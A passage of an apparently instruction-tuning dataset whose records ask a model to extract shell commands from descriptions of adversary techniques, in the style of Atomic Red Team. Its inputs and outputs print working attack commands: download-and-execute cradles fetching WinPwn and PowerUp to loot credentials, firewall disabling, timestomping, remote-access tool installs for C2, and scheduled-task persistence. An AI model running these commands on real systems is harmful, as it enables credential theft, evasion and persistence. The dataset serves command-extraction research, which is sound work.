logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To loot local credentials using the PowerShell Kittie technique via WinPwn's function, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive; The local credentials can be looted by employing the Safetykatz technique via WinPwn, using the command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nobfuskittiedump -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsafedump -consoleoutput -noninteractive\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For the current profile, you can turn off the Microsoft Defender Firewall by executing this command: netsh advfirewall set currentprofile state off. Be careful when accessing the host remotely, as cleanup may reactivate the firewall.; To disable the Microsoft Defender Firewall for the public profile, modify the registry with the following command: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f", "output": "{\"command_list\": [\"netsh advfirewall set currentprofile state off\\n\", \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\PublicProfile\\\" /v \\\"EnableFirewall\\\" /t REG_DWORD /d 0 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For timestamp manipulation similar to Rocke's Linux attacks, apply these commands which reference another file's timestamps: touch #{target_file_path}\ntouch -acmr #{reference_file_path} #{target_file_path}\n; For modifying a file's creation timestamp to appear as 1970 (a method used by Stitch RAT), execute this PowerShell command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nThe change can be verified in File Explorer by examining the file's Properties.", "output": "{\"command_list\": [\"touch #{target_file_path}\\ntouch -acmr #{reference_file_path} #{target_file_path}\\n\", \"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary might deceive a user into installing MSP360 Connect to establish a C2 channel, which can be launched by running the following command: Start-Process #{MSP360_Connect_Path}; An attacker might deceive a user into downloading RustDesk to maintain persistent access, which can be done by running the following command: $file = Join-Path $env:USERPROFILE \"Desktop\\\\rustdesk-1.2.3-1-x86_64.exe\"\nInvoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe\nStart-Process -FilePath $file \"/S\"", "output": "{\"command_list\": [\"Start-Process #{MSP360_Connect_Path}\\n\", \"$file = Join-Path $env:USERPROFILE \\\"Desktop\\\\rustdesk-1.2.3-1-x86_64.exe\\\"\\nInvoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe\\nStart-Process -FilePath $file \\\"/S\\\"\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For staging a zipped file in the Windows temp directory using native tools, execute this command: Compress-Archive -Path \"#{input_file}\" -DestinationPath #{output_file} -Force. You should then confirm the presence of Folder_to_zip.zip in the temporary folder.; This script manipulates the administrator account name by executing the following command: $x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n if($member -like \"*Administrator*\") {\n $account = $member.Name.Split(\"\\\\\")[-1] # strip computername\\\n $originalDescription = (Get-LocalUser -Name $account).Description\n Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n }\n }", "output": "{\"command_list\": [\"Compress-Archive -Path \\\"#{input_file}\\\" -DestinationPath #{output_file} -Force\\n\", \"$x = Get-Random -Minimum 2 -Maximum 9999\\n$y = Get-Random -Minimum 2 -Maximum 9999\\n$z = Get-Random -Minimum 2 -Maximum 9999\\n$w = Get-Random -Minimum 2 -Maximum 9999\\nWrite-Host HaHa_$x$y$z\\n\\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \\\"User\\\" -and $_.PrincipalSource -match \\\"Local\\\"} | Select Name\\n\\nforeach($member in $fmm) {\\n if($member -like \\\"*Administrator*\\\") {\\n $account = $member.Name.Split(\\\"\\\\\\\")[-1] # strip computername\\\\\\n $originalDescription = (Get-LocalUser -Name $account).Description\\n Set-LocalUser -Name $account -Description \\\"atr:$account;$originalDescription\\\".Substring(0,48) # Keep original name in description\\n Rename-LocalUser -Name $account -NewName \\\"HaHa_$x$y$z\\\" # Required due to length limitation\\n Write-Host \\\"Successfully Renamed $account Account on \\\" $Env:COMPUTERNAME\\n }\\n }\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This setup creates scheduled tasks to run an application during logon and system startup, with the following commands that produce success notifications. Check the Active Tasks pane in Task Scheduler to see the results: schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"; To schedule cmd.exe to spawn at 20:10, execute this command: SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}", "output": "{\"command_list\": [\"schtasks /create /tn \\\"T1053_005_OnLogon\\\" /sc onlogon /tr \\\"cmd.exe /c calc.exe\\\"\\nschtasks /create /tn \\\"T1053_005_OnStartup\\\" /sc onstart /ru system /tr \\\"cmd.exe /c calc.exe\\\"\\n\", \"SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Program Compatibility Assistant (pcalua.exe) can be used to execute programs and commands via the Command-Line Interface, as demonstrated with the following commands: pcalua.exe -a #{process}\npcalua.exe -a #{payload_path}\n. Upon execution, calc.exe should open.; The forfiles utility can be employed to run processes conditionally, such as opening calc.exe for each notepad.exe instance via the command: forfiles /p c:\\windows\\system32 /m notepad.exe /c #{process}", "output": "{\"command_list\": [\"pcalua.exe -a #{process}\\npcalua.exe -a #{payload_path}\\n\", \"forfiles /p c:\\\\windows\\\\system32 /m notepad.exe /c #{process}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur 